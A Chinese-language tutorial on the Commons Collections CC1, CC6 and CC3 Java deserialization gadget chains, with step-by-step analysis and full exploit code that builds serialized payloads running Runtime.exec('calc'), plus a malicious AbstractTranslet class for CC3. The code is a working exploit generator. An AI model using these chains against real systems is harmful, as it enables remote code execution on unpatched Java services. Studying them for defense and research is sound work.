
CC1
环境配置
jdk 这个环境,理论上只有 CC1 和 CC3 链受到 jdk 版本影响。
需要下载8u71之前的版本,因为8u71版本已经修复了相关漏洞。
Maven依赖配置如下:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
注意,Maven下载的源码class文件有时不能正常调试。

危险方法分析流程
利用链详情


首先定位到核心接口 Transformer,它定义了一个将输入对象转换为输出对象的方法。

2.查看他的实现类,需要找到一个可任意参数调用的方法
查看 Transformer 接口的实现类,目标是找到一个可以接收任意参数进行调用的方法。

InvokerTransformer 类符合要求,它实现了 Serializable 接口,并且其 transform 方法可以利用反射机制动态调用任意方法。


4.构造普通反射调用calc
首先,我们尝试用普通的Java反射来执行命令。
package ysoserial.payloads.test;
import java.io.*;
import java.lang.reflect.Method;
public class CC1 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execmethod = c.getMethod("exec", String.class);
execmethod.invoke(r, "calc");
}
// 序列化与反序列化方法省略...
}
接着,我们使用 InvokerTransformer 来达成同样的反射调用。


public class CC1 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
}
}
现在需要找到在反序列化过程中,哪些类的readObject方法会调用transform。我们发现TransformedMap中的方法调用了它。


在 TransformedMap 类中,checkSetValue 方法调用了 valueTransformer.transform(value)。这是一个受保护的方法。

8.查找构造函数
由于checkSetValue是受保护的,我们查看其构造函数,并找到一个公共的静态工厂方法 decorate。

该方法接受一个Map、一个键转换器和一个值转换器,并返回一个装饰后的Map。我们主要利用 valueTransformer 参数来传入我们的 InvokerTransformer。

9.checkSetValue被AbstractInputCheckedMapDecorator类调用,MapEntry类
checkSetValue 方法在 AbstractInputCheckedMapDecorator.MapEntry.setValue 中被调用。

10.目前条件是需要遍历map触发MapEntry类
所以,利用链目前是:修饰过的Map -> AbstractInputCheckedMapDecorator.MapEntry.setValue -> checkSetValue -> TransformedMap.valueTransformer.transform(value)。

我们可以编写测试代码手动触发:
public class CC1 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","aa");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry:decorate.entrySet()){
entry.setValue(r); // 遍历并设置值,触发transform
}
}
}
11.查找有没有readObject直接调用了AbstractInputCheckedMapDecorator.MapEntry.setValue
我们的目标是实现反序列化漏洞利用,因此需要找到一个类在其readObject方法中直接或间接调用了MapEntry.setValue。

12.在AnnotationInvocationHandler类中查找可控参数
在 sun.reflect.annotation.AnnotationInvocationHandler 类的 readObject 方法中,存在对 memberValues.entrySet() 的遍历和 setValue 调用。其构造函数参数 type 和 memberValues 都是可控的。

由于该类是默认包权限,需要通过反射获取。
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key","aa");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhandlerConstructor.setAccessible(true);
Object o = annotationInvocationhandlerConstructor.newInstance(Override.class,decorate);
serialize(o);
unserialize("ser.bin");
}
// 序列化与反序列化方法...
}
13.利用链到这基本完成,现在需要对runtime.getruntime方法进行序列化,和对memberValues所需的两个判断条件进行添加
当前的利用链直接将 Runtime 对象放入 TransformedMap 并序列化。但 Runtime 类本身没有实现 Serializable 接口,无法被序列化。我们需要通过反射链来动态获取 Runtime 实例。同时,需要满足 AnnotationInvocationHandler.readObject 中遍历 memberValues 时的条件。
14.Runtime.getRuntime反射调用
使用反射来调用 Runtime.getRuntime():
Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
Method execmethod = c.getMethod("exec", String.class);
execmethod.invoke(r,"calc");
将上述反射调用改写为使用 InvokerTransformer 的链式调用:
Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
使用 ChainedTransformer 将多个 Transformer 串联起来,按顺序执行。
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
Constructor案例说明
在Java反射中,Constructor 对象用于创建类的实例。
getConstructors():获取类的所有公共构造方法。
getDeclaredConstructors():获取类的所有构造方法,包括私有构造方法。
getParameterTypes():获取构造方法的参数类型列表。
newInstance(Object... initargs):创建类的对象,并调用构造方法进行初始化。
示例:
Class<?> c = Class.forName("com.example.MyClass");
Constructor<?> constructor = c.getConstructor(String.class, int.class);
Object obj = constructor.newInstance("hello", 123);
CC1 LazyMap链
CC1还有另一条利用链,基于 LazyMap。
1.定位恶意类LazyMap
在 LazyMap 类的 get 方法中,如果key不存在于map中,会调用 factory.transform(key)。

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
2.factory方法本体
factory 是 LazyMap 的一个成员变量,类型为 Transformer。

我们可以通过 LazyMap.decorate 方法创建 LazyMap 并传入恶意的 Transformer。
public class LazyDecorateCalc {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
// 通过反射调用get方法触发
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, runtime);
}
}
CC6
流程图
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

利用链详情
1.前半条链与CC1相同
利用 InvokerTransformer 和 LazyMap 构建基础恶意调用。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
2.通过TiedMapEntry实现HashMap
TiedMapEntry 的构造方法需要一个 Map 和一个 key,我们将 lazyMap 传入。

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
3.调用HashMap.readObject
HashMap 在反序列化 readObject 时,会对key计算哈希值,调用 key.hashCode()。而 TiedMapEntry.hashCode() 会调用 getValue(),进而触发 lazyMap.get()。


因此,需要把 HashMap 的key设置为 tiedMapEntry。
4.put方法修改
HashMap 在写入key时使用了 put 方法,该方法内部会计算哈希并可能触发我们构造的链。为了避免在构造POC时就执行命令,我们先传入一个无害的 Transformer(如 ConstantTransformer(1)),在序列化前再通过反射替换为真正的恶意链。同时,需要移除 lazyMap 中因 put 测试而自动生成的键值对。

完整CC6 EXP如下:
package test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa"); // 移除测试生成的键,确保反序列化时触发get
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer); // 反射替换为恶意Transformer链
serialize(map2);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static void unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object object = ois.readObject();
}
}
CC3
流程图
CC3这条链与CC1和CC6不同,前两者是利用命令执行,而CC3是利用 ClassLoader#defineClass 进行代码执行。

loadClass(): 从已加载的类缓存、父加载器等位置寻找类(双亲委派机制)。
findClass(): 通常由子类实现,用于根据名称或位置加载 .class 字节码,然后调用 defineClass。
defineClass(): 将字节码处理成真正的Java类。它只加载类,不执行,需要后续实例化(newInstance)。
利用链详情
1.跟进defineClass
在Java中,defineClass 通常是受保护的。我们需要找到一个在反序列化过程中可被触发且能加载任意字节码的公有方法。在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类中,defineTransletClasses 方法内部调用了 TransletClassLoader.defineClass。而 getTransletInstance 方法调用了 defineTransletClasses,newTransformer 这个公有方法又调用了 getTransletInstance。


2. TemplatesImpl利用
因此,调用路径是:TemplatesImpl.newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass。
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
进入 getTransletInstance,需要满足 _name 不为 null,且 _class 为 null 才会调用 defineTransletClasses。

3.defineTransletClasses函数分析

需要确保 _bytecodes(字节码数组)和 _tfactory(TransformerFactoryImpl实例)不为null。
- 初始值_bytecodes:需要一个二维字节数组。我们需要将恶意类的字节码放入。
Field bytecodes = n.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/class/test.class"));
byte[][] bytecodesArray = {code};
bytecodes.set(templates,bytecodesArray);
恶意类示例(需继承AbstractTranslet):
package test;
import java.io.IOException;
public class Test extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xalan.internal.xsltc.TransletOutputHandler handler) {}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xalan.internal.xsltc.serializer.SerializationHandler[] handlers) {}
}
- 初始值_tfactory:
_tfactory 被 transient 修饰,但类在 readObject 中会对其重新初始化。我们直接通过反射为其赋值即可。
Field tfactory = n.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
4.解决报错问题
运行上述代码可能会遇到 NullPointerException,问题在于 _auxClasses 为 null,且 _transletIndex 为 -1。根据 defineTransletClasses 中的逻辑,加载的类必须继承自 ABSTRACT_TRANSLET(即 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet),这样 _transletIndex 才会被正确设置,_auxClasses 也不会被用到。因此,确保我们的恶意类正确继承即可。
完整CC3利用代码(直接调用):
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class n = templates.getClass();
Field name = n.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field aClass = n.getDeclaredField("_class");
aClass.setAccessible(true);
aClass.set(templates,null);
Field bytecodes = n.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/class/test.class"));
byte[][] bytecodesArray = {code};
bytecodes.set(templates,bytecodesArray);
Field tfactory = n.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer(); // 触发漏洞
}
}
原版CC3链不是直接调用 newTransformer,而是将其整合到 Transformer 利用链中,利用 InstantiateTransformer 来触发 TrAXFilter 的构造函数,从而调用 TemplatesImpl.newTransformer。
流程图

1.确定利用类
TrAXFilter 的构造函数内部调用了 (Templates)templates.newTransformer()。虽然 TrAXFilter 本身不可序列化,但我们可以找到一个调用其构造函数的 Transformer。
InstantiateTransformer 的 transform 方法可以用于实例化一个类。我们用它来实例化 TrAXFilter,并传入我们构造好的 TemplatesImpl 对象作为参数。

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
将其与一个 ConstantTransformer 组合,放入 ChainedTransformer。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
然后,就可以将这个 chainedTransformer 设置到 TransformedMap 或 LazyMap 中,再通过 AnnotationInvocationHandler 或 TiedMapEntry/HashMap 等链触发,这与CC1和CC6的后半段利用是类似的。这种链式设计体现了系统设计与漏洞利用中的巧妙思路。